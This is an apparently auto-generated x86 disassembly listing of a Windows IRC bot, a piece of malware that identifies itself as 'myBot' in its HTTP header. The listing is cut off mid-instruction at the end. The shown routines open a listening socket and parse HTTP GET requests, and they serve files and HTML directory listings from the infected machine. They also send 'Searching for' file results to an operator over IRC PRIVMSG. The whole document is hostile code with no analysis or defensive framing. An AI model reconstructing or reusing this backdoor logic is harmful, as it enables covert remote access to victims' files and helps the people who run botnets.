sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2690000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41BC88 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FAA0 test byte ptr [esi+0Ch], 10h jnz short loc_40FA84 push edi mov edi, 400h loc_40FA4C: ; CODE XREF: ___:0040FA81j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41BA60 add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CC05C nop call near ptr 71AB1AF4h push 1 nop call near ptr 26A053Bh test byte ptr [esi+0Ch], 10h jz short loc_40FA4C pop edi loc_40FA84: ; CODE XREF: ___:0040FA44j push esi call sub_41B9DB pop ecx push dword_4CC05C nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop push 1 pop eax loc_40FAA0: ; CODE XREF: ___:0040FA3Ej pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAA3 proc near ; DATA XREF: sub_401AC7+2216o ; sub_40BD7C+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C2A0 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41BD10 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4C9304 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4C9384 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FE8E mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43C24C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4C9330 cmp eax, 0FFFFFFFFh jz loc_40FE8E push 7FFFFFFFh push edi call dword_4C932C cmp eax, 0FFFFFFFFh jz loc_40FE8E lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4C93A0 cmp eax, 0FFFFFFFFh jz loc_40FE8E mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FB7A: ; CODE XREF: sub_40FAA3+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4C92EC cmp eax, 0FFFFFFFFh jz loc_40FE89 xor esi, esi mov [ebp+var_4], esi loc_40FBB0: ; CODE XREF: sub_40FAA3+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4C91F0 test eax, eax jz loc_40FE74 cmp esi, [ebp+var_C] jnz short loc_40FC32 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4C9398 cmp eax, 0FFFFFFFFh jz loc_40FE74 xor ecx, ecx test ebx, ebx jbe short loc_40FC04 lea edx, [ebp+var_134] loc_40FBF8: ; CODE XREF: sub_40FAA3+15Fj cmp [edx], eax jz short loc_40FC04 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FBF8 loc_40FC04: ; CODE XREF: sub_40FAA3+14Dj ; sub_40FAA3+157j cmp ecx, ebx jnz short loc_40FC21 cmp ebx, 40h jnb short loc_40FC21 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FC21: ; CODE XREF: sub_40FAA3+163j ; sub_40FAA3+168j cmp eax, [ebp+var_8] jbe loc_40FE74 mov [ebp+var_8], eax jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FC32: ; CODE XREF: sub_40FAA3+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41BD10 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BD10 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4C931C test eax, eax jg short loc_40FCC5 push esi call dword_4C939C xor ecx, ecx test ebx, ebx jbe loc_40FE74 lea eax, [ebp+var_134] loc_40FC84: ; CODE XREF: sub_40FAA3+1EBj cmp [eax], esi jz short loc_40FC95 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FC84 jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FC95: ; CODE XREF: sub_40FAA3+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FCB9 lea eax, [ebp+ecx*4+var_134] loc_40FCA3: ; CODE XREF: sub_40FAA3+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FCA3 loc_40FCB9: ; CODE XREF: sub_40FAA3+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FCC5: ; CODE XREF: sub_40FAA3+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BD10 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41B960 add esp, 10h test eax, eax jbe loc_40FE74 loc_40FCF3: ; CODE XREF: sub_40FAA3+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FD98 mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40FD6C lea eax, [ebp+var_18F0] push eax call sub_41B960 cmp eax, 5 pop ecx jbe short loc_40FD6C mov eax, offset asc_42CDCC ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41C080 pop ecx pop ecx push eax call sub_41C080 pop ecx pop ecx push eax call sub_41C864 push eax lea eax, [ebp+var_23C] push eax call sub_41C620 add esp, 10h jmp short loc_40FD83 ; --------------------------------------------------------------------------- loc_40FD6C: ; CODE XREF: sub_40FAA3+27Fj ; sub_40FAA3+291j lea eax, [ebp+var_18F0] push offset asc_4341E4 ; "\r\n" push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_40FDB7 loc_40FD83: ; CODE XREF: sub_40FAA3+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BD10 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FD98: ; CODE XREF: sub_40FAA3+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41B960 cmp [ebp+arg_0], eax pop ecx jb loc_40FCF3 jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FDB7: ; CODE XREF: sub_40FAA3+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FE01 lea eax, [ebp+var_134] loc_40FDC3: ; CODE XREF: sub_40FAA3+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FDD4 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FDC3 jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FDD4: ; CODE XREF: sub_40FAA3+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FDF8 lea eax, [ebp+ecx*4+var_134] loc_40FDE2: ; CODE XREF: sub_40FAA3+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FDE2 loc_40FDF8: ; CODE XREF: sub_40FAA3+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FE01: ; CODE XREF: sub_40FAA3+318j mov esi, [ebp+var_4] loc_40FE04: ; CODE XREF: sub_40FAA3+32Fj ; sub_40FAA3+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FE6D lea eax, [ebp+var_360] push eax call sub_41B960 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41B960 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FE6D and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4C93A0 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_410080 add esp, 14h jmp short loc_40FE74 ; --------------------------------------------------------------------------- loc_40FE6D: ; CODE XREF: sub_40FAA3+369j ; sub_40FAA3+38Fj push esi call dword_4C939C loc_40FE74: ; CODE XREF: sub_40FAA3+11Dj ; sub_40FAA3+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FBB0 jmp loc_40FB7A ; --------------------------------------------------------------------------- loc_40FE89: ; CODE XREF: sub_40FAA3+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FE8E: ; CODE XREF: sub_40FAA3+6Aj ; sub_40FAA3+92j ... call dword_4C9298 push eax lea eax, [ebp+var_8F0] push offset unk_4341BC push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FED4 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409862 add esp, 14h loc_40FED4: ; CODE XREF: sub_40FAA3+40Cj lea eax, [ebp+var_8F0] push eax call sub_415CEE pop ecx push edi call dword_4C939C push [ebp+var_254] call sub_40B6C9 pop ecx push ebx nop call near ptr 2700000h pop edi pop esi pop ebx sub_40FAA3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FEFE proc near ; DATA XREF: sub_410080+246o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C2A0 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_41C006 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_40FF63 push offset aTextHtml ; "text/html" jmp short loc_40FF68 ; --------------------------------------------------------------------------- loc_40FF63: ; CODE XREF: sub_40FEFE+5Cj push offset aApplicationOct ; "application/octet-stream" loc_40FF68: ; CODE XREF: sub_40FEFE+63j lea eax, [ebp+var_9C] push eax call sub_41C006 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 2750000h nop lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 27415C0h nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40FFE1 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C006 add esp, 24h jmp short loc_410002 ; --------------------------------------------------------------------------- loc_40FFE1: ; CODE XREF: sub_40FEFE+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C006 add esp, 28h loc_410002: ; CODE XREF: sub_40FEFE+E1j lea eax, [ebp+var_1654] push edi push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4C9354 cmp [ebp+var_A4], edi jnz short loc_410042 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_4109B2 pop ecx pop ecx jmp short loc_41005F ; --------------------------------------------------------------------------- loc_410042: ; CODE XREF: sub_40FEFE+12Cj lea eax, [ebp+var_654] push eax push edi loc_41004A: ; DATA XREF: ___:00437DD0o ; ___:00437DE4o push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_410330 add esp, 10h loc_41005F: ; CODE XREF: sub_40FEFE+142j push [ebp+var_44C] call dword_4C939C push [ebp+var_B4] call sub_40B6C9 pop ecx push edi call near ptr 2700000h nop pop edi pop esi sub_40FEFE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410080 proc near ; CODE XREF: sub_40FAA3+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BD10 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4100B6 push eax push offset aS_3 ; "\\%s" jmp short loc_4100BF ; --------------------------------------------------------------------------- loc_4100B6: ; CODE XREF: sub_410080+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_4100BF: ; CODE XREF: sub_410080+34j lea eax, [ebp+var_10C] push eax call sub_41C006 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B960 test eax, eax pop ecx jbe short loc_41015A mov [ebp+arg_8], 2 loc_4100EA: ; CODE XREF: sub_410080+D8j lea eax, [ebp+var_10C] push eax call sub_41B960 cmp [ebp+arg_8], eax pop ecx jnb short loc_41012A cmp [ebp+esi+var_10C], 25h jnz short loc_41012A cmp [ebp+esi+var_10B], 32h jnz short loc_41012A cmp [ebp+esi+var_10A], 30h jnz short loc_41012A inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410144 ; --------------------------------------------------------------------------- loc_41012A: ; CODE XREF: sub_410080+7Aj ; sub_410080+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_41013A push 5Ch pop eax jmp short loc_41013D ; --------------------------------------------------------------------------- loc_41013A: ; CODE XREF: sub_410080+B3j movsx eax, al loc_41013D: ; CODE XREF: sub_410080+B8j mov [ebp+ebx+var_210], al loc_410144: ; CODE XREF: sub_410080+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B960 cmp esi, eax pop ecx jb short loc_4100EA loc_41015A: ; CODE XREF: sub_410080+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429ACC push eax call sub_41C006 lea eax, [ebp+var_314] push offset asc_42A084 ; "\n" push eax call sub_41C864 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 26B0455h push 1 cmp eax, 10h pop esi jz short loc_4101A8 cmp eax, 0FFFFFFFFh jnz short loc_4101AB push [ebp+arg_0] jmp short loc_410227 ; --------------------------------------------------------------------------- loc_4101A8: ; CODE XREF: sub_410080+11Cj mov [ebp+var_4], esi loc_4101AB: ; CODE XREF: sub_410080+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4101B8 mov [ebp+var_4], esi loc_4101B8: ; CODE XREF: sub_410080+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_410232 cmp [ebp+arg_C], edi jz short loc_410226 lea eax, [ebp+var_314] push offset asc_434470 ; "*" push eax call sub_41C630 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C006 lea eax, [ebp+var_210] push eax call sub_410A6F lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41C006 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_410281 ; --------------------------------------------------------------------------- loc_410226: ; CODE XREF: sub_410080+14Fj push ebx loc_410227: ; CODE XREF: sub_410080+126j call dword_4C939C jmp loc_410329 ; --------------------------------------------------------------------------- loc_410232: ; CODE XREF: sub_410080+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 2730000h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_410281 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C006 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2760000h push esi mov [ebp+var_330], eax nop call near ptr 2680000h loc_410281: ; CODE XREF: sub_410080+1A4j ; sub_410080+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_43443C push eax call sub_41C006 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B3AD mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43C244[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FEFE push edi push edi call near ptr 26A0586h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43C254[ecx], eax jz short loc_4102FB loc_4102E9: ; CODE XREF: sub_410080+279j cmp [ebp+var_318], edi jnz short loc_410329 push 5 nop call near ptr 26A053Bh jmp short loc_4102E9 ; --------------------------------------------------------------------------- loc_4102FB: ; CODE XREF: sub_410080+267j push ebx call dword_4C939C call near ptr 26A0EA9h nop push eax lea eax, [ebp+var_8C4] push offset unk_434404 push eax call sub_41C006 lea eax, [ebp+var_8C4] push eax call sub_415CEE add esp, 10h loc_410329: ; CODE XREF: sub_410080+1ADj ; sub_410080+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_410080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410330 proc near ; CODE XREF: sub_401AC7+7604p ; sub_40FEFE+159p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BD10 mov edi, [ebp+arg_0] push offset asc_42A084 ; "\n" push edi call sub_41C864 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_41038F push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C100 add esp, 14h jmp loc_41048C ; --------------------------------------------------------------------------- loc_41038F: ; CODE XREF: sub_410330+3Aj cmp [ebp+arg_C], ebx push edi jz loc_410472 call sub_41B960 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 push edi call sub_41B960 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 0Ch jmp short loc_41048C ; --------------------------------------------------------------------------- loc_410472: ; CODE XREF: sub_410330+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 10h loc_41048C: ; CODE XREF: sub_410330+5Aj ; sub_410330+140j lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 cmp [ebp+arg_C], ebx jz short loc_410524 push [ebp+arg_C] call sub_41B960 cmp eax, 2 pop ecx jbe short loc_410524 push [ebp+arg_C] call sub_41B960 sub eax, 3 pop ecx jz short loc_4104D8 loc_4104CC: ; CODE XREF: sub_410330+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_4104D8 dec eax jnz short loc_4104CC loc_4104D8: ; CODE XREF: sub_410330+19Aj ; sub_410330+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BD70 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 loc_410524: ; CODE XREF: sub_410330+17Ej ; sub_410330+18Cj lea eax, [ebp+var_388] push eax push edi nop call near ptr 2780000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 2770000h nop test eax, eax jz loc_410915 mov edi, 1FFh loc_410550: ; CODE XREF: sub_410330+5DFj cmp [ebp+var_388], ebx jz loc_4108FD lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4108FD lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4108FD lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 27608EEh nop lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 2760331h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_4105C5 mov ecx, offset aAm ; "AM" loc_4105C5: ; CODE XREF: sub_410330+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_4105D1 sub eax, 0Ch loc_4105D1: ; CODE XREF: sub_410330+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41C006 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_41077E inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410652 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C100 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41C100 add esp, 28h jmp loc_4108CE ; --------------------------------------------------------------------------- loc_410652: ; CODE XREF: sub_410330+2DBj cmp [ebp+arg_C], ebx jz loc_41073C push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41C100 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax call sub_41B960 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4106F2 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4106F7 ; --------------------------------------------------------------------------- loc_4106F2: ; CODE XREF: sub_410330+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4106F7: ; CODE XREF: sub_410330+3C0j lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4108BF ; --------------------------------------------------------------------------- loc_41073C: ; CODE XREF: sub_410330+325j lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C100 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_410769: ; CODE XREF: sub_410330+476j lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 24h jmp loc_4108CE ; --------------------------------------------------------------------------- loc_41077E: ; CODE XREF: sub_410330+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4107A8 push ebx push [ebp+var_368] call sub_416C7D push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_410769 ; --------------------------------------------------------------------------- loc_4107A8: ; CODE XREF: sub_410330+454j cmp [ebp+arg_C], ebx jz loc_4108A8 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429ACC push edi push eax call sub_41C100 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax call sub_41B960 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410848 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_41084D ; --------------------------------------------------------------------------- loc_410848: ; CODE XREF: sub_410330+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_41084D: ; CODE XREF: sub_410330+516j lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 1Ch jmp short loc_4108CE ; --------------------------------------------------------------------------- loc_4108A8: ; CODE XREF: sub_410330+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_4108BF: ; CODE XREF: sub_410330+407j lea eax, [ebp+var_248] push eax call sub_41C100 add esp, 18h loc_4108CE: ; CODE XREF: sub_410330+31Dj ; sub_410330+449j ... lea eax, 